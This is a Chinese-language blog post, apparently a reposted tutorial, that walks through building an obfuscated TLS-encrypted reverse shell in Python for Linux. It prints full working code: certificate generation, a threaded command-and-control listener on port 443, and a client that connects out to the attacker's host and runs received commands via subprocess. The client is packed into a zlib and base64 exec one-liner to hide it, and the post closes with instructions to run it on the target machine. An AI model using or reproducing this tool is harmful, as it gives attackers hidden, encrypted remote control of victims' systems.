Linux 恶意软件开发:使用 Python 构建基于 TLS/SSL 的反向 shell

科技   2024-12-04 17:16   广东  

使用 Python 构建混淆的 SSL/TLS 反向 Shell

在本博客中,我们将介绍使用 Python 构建TLS 安全反向 shell的过程。此反向 shell 确保客户端和服务器之间的所有通信都使用自签名证书加密。代码可在此处找到Github Repo TLS 反向 shell:https://github.com/MohitDabas/Linux_Malware_Development/blob/main/ssl_reverse_shell/reverse_ssl.py

什么是反向 Shell?永久链接

反向 shell 是一种远程 shell,其中目标计算机(客户端)重新连接到攻击者的计算机(服务器)。然后服务器可以在客户端计算机上执行命令。

为了确保通信安全,我们将使用TLS(传输层安全性),它对服务器和客户端之间的所有流量进行加密。

守则的主要特点永久链接

  • TLS 安全:使用自签名证书进行加密通信。

  • 动态客户端代码生成:生成单行 Python 客户端脚本。

  • 线程服务器:使用线程处理多个客户端连接。

  • 每次运行时重新生成密钥:确保每次执行脚本时都有新的密钥和证书。

代码演练

1.导入依赖项

import os
import socket
import ssl
from subprocess import run, CalledProcessError
import base64
import zlib
from threading import Thread

服务器的外部依赖项:

pip install pycryptodome

必须在系统上安装opensessl才能生成自签名证书。

模块及其用途

1.os

  • 目的:用于文件和目录操作。

  • 使用示例:创建、删除或修改文件和目录。

2.socket

  • 目的:用于网络通讯。

  • 使用示例:通过 TCP/IP 或 UDP 在客户端和服务器之间建立连接。

3.ssl

  • 目的:用于启用 TLS(加密)。

  • 使用示例:保护客户端和服务器之间传输的数据以防止被拦截。

4.subprocess

  • 目的:运行系统命令。

  • 使用示例:在 Python 内部执行 shell 命令或外部程序。

5.base64和zlib

  • 目的:对客户端代码进行压缩和编码。

  • 使用示例:

  • zlib压缩数据以节省带宽。

  • base64对其进行编码,以便通过可能不支持原始二进制的协议进行安全传输。

6.Thread

  • 目的:同时处理多个客户端连接。

  • 使用示例:为多客户端服务器应用程序中的每个客户端创建线程,以同时管理多个连接。

2. 生成密钥和证书

def keys_check_or_create(ip_address):
    keys_dir = "keys"
    os.makedirs(keys_dir, exist_ok=True) # Ensure the keys directory exists

    # Remove existing keys and certificates
    for file in os.listdir(keys_dir):
        file_path = os.path.join(keys_dir, file)
        if os.path.isfile(file_path):
            os.remove(file_path)
    print("[*] Existing keys and certificates removed.")

    # Generate RSA key pair
    from Crypto.PublicKey import RSA
    key = RSA.generate(2048)

    # Write the private key
    private_key_path = os.path.join(keys_dir, "private_key.pem")
    with open(private_key_path, "wb") as f:
        f.write(key.export_key())
    print("[*] Private key generated.")

    # Write the public key
    public_key_path = os.path.join(keys_dir, "public_key.pem")
    with open(public_key_path, "wb") as f:
        f.write(key.publickey().export_key())
    print("[*] Public key generated.")

此功能:删除所有旧密钥或证书。生成新的 RSA 密钥对,并将私钥和公钥保存在密钥文件夹中。

3. 生成自签名证书

我们使用 OpenSSL 创建自签名证书。

def generate_certificate(private_key_path, cert_path, ip_address):
    openssl_config = "openssl.cnf"

    # Create OpenSSL configuration file
    with open(openssl_config, "w") as f:
        f.write(f"""
[ req ]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no

[ req_distinguished_name ]
C = US
ST = California
L = SanFrancisco
O = MyOrg
OU = IT
CN = {ip_address}

[ v3_req ]
subjectAltName = @alt_names

[ alt_names ]
IP.1 = {ip_address}
""")

配置文件使用主体备用名称 (SAN) 确保证书对于提供的 IP 地址有效。

run([
        "openssl", "req", "-new", "-x509",
        "-key", private_key_path,
        "-out", cert_path,
        "-days", "365",
        "-config", openssl_config
    ], check=True)
    print("[*] OpenSSL: Certificate generated successfully.")

4. 生成客户端代码

generate_and_compress_client_code 函数动态创建一个反向 shell 客户端脚本并将其压缩为一行。

def generate_and_compress_client_code(ip, port):
    certfile = os.path.join("keys", "server.crt")
    with open(certfile, "r") as f:
        cert_content = f.read()

    client_code = f"""
import socket, ssl, subprocess
CERT=\"\"\"{cert_content}\"\"\"
def connect():
    context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.load_verify_locations(cadata=CERT)
    with socket.create_connection(("{ip}", {port})) as sock:
        with context.wrap_socket(sock, server_hostname="{ip}") as ssock:
            while True:
                cmd=ssock.recv(8192).decode()
                if cmd.lower()=="exit":break
                output=subprocess.getoutput(cmd)
                ssock.sendall(output.encode())
connect()
"""

压缩并编码客户端代码:

compressed_code = zlib.compress(client_code.encode())
encoded_code = base64.b64encode(compressed_code).decode()
return f"import zlib,base64;exec(zlib.decompress(base64.b64decode('{encoded_code}')))"

5.启动服务器

def start_server(ip, port=443):
    certfile, keyfile = keys_check_or_create(ip)
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(certfile=certfile, keyfile=keyfile)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
        server_socket.bind((ip, port))
        server_socket.listen(5)
        print(f"[*] Server listening on {ip}:{port}")

        with context.wrap_socket(server_socket, server_side=True) as tls_server:
            while True:
                client_socket, addr = tls_server.accept()
                print(f"[+] Connection from {addr}")
                Thread(target=handle_client, args=(client_socket,)).start()

服务器:

  1. 使用生成的证书和私钥创建 TLS 上下文。

  2. 监听客户端连接并在新线程中处理每个连接。

6.处理客户端命令

def handle_client(client_socket):
    buffer_size = 8192
    try:
        while True:
            command = input("Shell> ")
            if command.lower() in ["exit", "quit"]:
                client_socket.sendall(b"exit")
                break
            client_socket.sendall(command.encode())
            response = client_socket.recv(buffer_size).decode()
            print(response)
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        client_socket.close()

7. 如何启动

1.启动服务器:

python reverse_ssl.py

2.在目标机器上运行客户端脚本:

python -c "<compressed_client_code>"


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章